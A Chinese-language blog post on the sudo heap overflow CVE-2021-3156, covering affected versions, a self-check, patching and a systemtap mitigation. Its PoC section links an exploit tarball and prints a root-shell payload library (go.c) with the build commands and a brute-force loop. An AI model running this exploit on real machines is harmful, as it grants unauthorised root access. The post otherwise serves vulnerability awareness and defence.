CVE-2021-3156 —— Sudo 堆缓冲区溢出漏洞

目录

描述

影响

环境

过程

POC

 

修复建议

通用修补建议

临时修补建议

参考链接


CVE-2021-3156 —— Sudo 堆缓冲区溢出漏洞


描述

2021年01月27日,监测到RedHat官方发布了sudo 缓冲区/栈溢出漏洞的风险通告,该漏洞编号为CVE-2021-3156,Sudo具有基于堆的缓冲区溢出,攻击者可以通过“ sudoedit -s”和以单个反斜杠字符结尾的命令行参数将特权提升到root用户。

在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。任何本地用户(普通用户和系统用户,sudoer和非sudoers)都可以利用此漏洞,从而绕过策略从普通账号权限提升获取到root权限。

        该漏洞在类似Unix的主要操作系统上都可以使用。通过利用此漏洞,任何没有特权的用户都可以使用默认的sudo配置在易受攻击的主机上获得root特权。

Sudo是一个功能强大的实用程序,大多数(如果不是全部)基于Unix和Linux的操作系统都包含Sudo。它允许用户使用其他用户的安全特权运行程序。该漏洞本身已经隐藏了将近十年。它于2011年7月引入(提交8255ed69),在默认配置下会影响从1.8.2到1.8.31p2的所有旧版本以及从1.9.0到1.9.5p1的所有稳定版本。

       成功利用此漏洞,任何没有特权的用户都可以在易受攻击的主机上获得root特权。Qualys安全研究人员已经能够在Ubuntu 20.04(Sudo 1.8.31),Debian 10(Sudo 1.8.27)和Fedora 33(Sudo 1.9.2)上独立验证漏洞并开发多种利用漏洞并获得完整的root用户特权。 其他操作系统和发行版也可能会被利用。

Qualys研究小组确认该漏洞后,Qualys进行了负责任的漏洞披露,并与sudo的作者和开源发行版进行了协调,以宣布该漏洞。

影响

漏洞等级:高危,1.9.5p2之前的版本

sudo:sudo: 1.8.2 - 1.8.31p2

sudo:sudo: 1.9.0 - 1.9.5p1

环境

ubuntu 18.04

过程

POC

用户可以使用如下方法进行自查:

以非root用户登录系统,并使用命令sudoedit -s /

- 如果响应一个以sudoedit:开头的报错,那么表明存在漏洞。

- 如果响应一个以usage:开头的报错,那么表明补丁已经生效。

https://haxx.in/CVE-2021-3156nsspoc_ubuntu.tar.gz

下载-解压-编译(make)-执行(

make./sudo-hax-me-a-sandwich 0

文件 go.c 如下:

static void __attribute__((constructor)) _init(void) {
  __asm __volatile__(
      "addq $64, %rsp;"
      // setuid(0);
      "movq $105, %rax;"
      "movq $0, %rdi;"
      "syscall;"
      // setgid(0);
      "movq $106, %rax;"
      "movq $0, %rdi;"
      "syscall;"
      // dup2(0, 1);
      "movq $33, %rax;"
      "movq $0, %rdi;"
      "movq $1, %rsi;"
      "syscall;"
      // dup2(0, 2);
      "movq $33, %rax;"
      "movq $0, %rdi;"
      "movq $2, %rsi;"
      "syscall;"
      // execve("/bin/sh");
      "movq $59, %rax;"
      "movq $0x0068732f6e69622f, %rdi;"
      "pushq %rdi;"
      "movq %rsp, %rdi;"
      "movq $0, %rdx;"
      "pushq %rdx;"
      "pushq %rdi;"
      "movq %rsp, %rsi;"
      "syscall;"
      // exit(0);
      "movq $60, %rax;"
      "movq $0, %rdi;"
      "syscall;");
}
cd /tmp
mkdir libnss_X
gcc -fpic -shared -nostdlib -o libnss_X/X.so.2 go.c
for i in {1..128000}; do echo -n "try number $i "; ./exploit; done

修复建议

通用修补建议

下载升级sudo软件包,下载链接为:

sudo软件包下载地址

https://www.sudo.ws/dist/

临时修补建议

对于无法立即更新的用户,建议使用systemtap进行以下临时缓解:

1. 安装所需的systemtap软件包和依赖项:

systemtap yum-utils kernel-devel-"$(uname -r)"

对于RHEL 7,使用命令安装 kernel debuginfo:debuginfo-install -y kernel-"$(uname -r)"。对于RHEL 8,使用命令安装 sudo debuginfo:debuginfo-install sudo

2. 创建以下systemtap脚本(将文件命名为sudoedit-block.stap):

 
probe process("/usr/bin/sudo").function("main") {

command = cmdline_args(0,0,"");

if (strpos(command, "edit") >= 0) {

raise(9);

}

}

3. 使用以下命令安装脚本:(使用root权限)

# nohup stap -g sudoedit-block.stap &

该脚本将使得易受攻击的sudoedit二进制文件停止工作。sudo命令仍将照常工作。上述更改在重启后失效,必须在每次重启后重新应用。

4. 一旦安装了补丁程序,就可以通过取消systemtap进程来删除systemtap脚本。例如,通过使用:

# kill -s SIGTERM 7590 (其中7590是systemtap进程的PID)

考链接

下载升级sudo软件包,下载链接为:https://www.sudo.ws/dist/

https://www.jianshu.com/p/5280c514d9a8

https://blog.csdn.net/BROTHERYY/article/details/113459322

https://admin-root.blog.csdn.net/article/details/113344308?utm_medium=distribute.pc_relevant.none-task-blog-OPENSEARCH-2.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-OPENSEARCH-2.control

https://www.cnblogs.com/hac425/p/14336484.html

猜你喜欢

转载自blog.csdn.net/weixin_43650289/article/details/113354960
今日推荐